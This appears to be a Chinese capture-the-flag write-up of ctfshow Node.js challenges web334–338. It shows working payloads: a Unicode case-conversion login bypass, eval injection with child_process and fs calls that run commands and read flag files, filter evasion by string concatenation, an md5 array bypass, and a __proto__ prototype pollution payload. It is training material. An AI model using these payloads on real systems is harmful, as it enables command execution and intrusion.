web334 下载附件后解压
有两个文件:login.js user.js
1 2 3 4 5 6 var findUser = function (name, password ){return users.find (function (item ){return name!=='CTFSHOW' && item.username === name.toUpperCase () && item.password === password; }); };
1 2 3 4 5 6 module .exports = {items : [ {username : 'CTFSHOW' , password : '123456' } ] };
name不能为CTFSHOW
但是登录需要usename为CTFSHOW,password为123456
toUpperCase()可以将小写转换成大写。
1 2 toUpperCase () 函数,字符 ı 会转变为 I ,字符 ſ 会变为 S 。toLowerCase () 函数中,字符 İ 会转变为 i ,字符 K 会转变为 k 。
用username=ctfshow和password=123456绕过
web335 源码发现
尝试eval=ls结果404找不到文件
测试eval=1输出1
1 在nodejs中,eval ()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval (string )”;如果参数不是字符串,而是整数或者是Function 类型,则直接返回该整数或Function 。
1 2 Node.js中的child_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。 在eval 函数的参数中可以构造require('child_process' ).exec ('' );来进行调用。
构建
返回 [object Object]
https://nodejs.cn/api/child_process.html
1 2 3 4 5 6 7 8 9 10 11 法一:系统命令 ?eval =require ('child_process' ).execSync ('ls' ) ?eval =require ('child_process' ).spawnSync ('ls' ).output ?eval =require ('child_process' ).spawnSync ('cat' ,['fl00g.txt' ]).stdout ?eval =require ('child_process' ).execFileSync ('ls' ) ?eval =require ('child_process' ).execFileSync ('ls' ,['-a' ]) 法二:文件操作 ?eval =require ('fs' ).readdirSync ('.' ) ?eval =require ('fs' ).readFileSync ('fl00g.txt' )
发现fl00g.txt,直接cat
web336 法一
exec被屏蔽,利用其它函数绕过
1 2 3 4 5 ?eval =require ('child_process' ).spawnSync('ls' ).output ?eval =require ('child_process' ).spawnSync('cat' ,['fl001g.txt' ]).output ?eval =require ('fs' ).readdirSync('.' ) ?eval =require ('fs' ).readFileSync('fl001g.txt' )
法二
1 __filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。
传?eval=__filename可以看到路径为/app/routes/index.js
然后传eval=require(‘fs’).readFileSync(‘/app/routes/index.js’,’utf-8’)可以发现过滤了exec和load
用%2B代替+绕过
1 require ("child_process" ) ['exe' %2B'cSync' ] ('ls' )
web337 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var express = require('express' );var router = express.Router();var crypto = require('crypto' );function md5 (s ) { return crypto.createHash('md5' ) .update(s) .digest('hex' ); } router.get('/' , function (req, res, next ) { res.type('html' ); var flag='xxxxxxx' ; var a = req.query.a; var b = req.query.b; if (a && b && a.length ===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag); }else { res.render('index' ,{ msg : 'tql' }); } }); module.exports = router;
判断存在a,b,a的长度等于b的长度,a不等于b(弱类型判断),md5加密a+flag和加密b+flag相等(强类型判断)
构造数组绕过
web338 login.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' ); router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' );var flag='flag_here' ;var secert = {};var sess = req.session ;let user = {}; utils.copy (user,req.body );if (secert.ctfshow ==='36dboy' ){ res.end (flag); }else {return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } });module .exports = router;
不难看出让secert.ctfshow==='36dboy'
即可获取flag
利用函数copy
,这是一个递归调用函数,for循环遍历object2当中的key(键),如果这个键在object1与object2当中都存在,则调用copy(object1[key], object2[key])
,否则让object1[key] = object2[key]
1 2 3 4 5 6 7 8 9 function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
原型链污染https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
通过操作user变量,达到原型链污染
payload:
1 { "__proto__" : { "ctfshow" : "36dboy" } }
让object2
为{"__proto__":{"ctfshow":"36dboy"}}
会发生什么(注意本题当中object1为secret变量)
由于object1和object2
的对象都具有属性__proto__
,进入if语句为true,执行
1 copy (object1[__proto__], object2[__proto__])
此时let key in object2
的key
为ctfshow
很明显object1当中没有,所以进入else部分
1 object1[ctfshow] = object2[ctfshow]`,成功赋值为` 36 dboy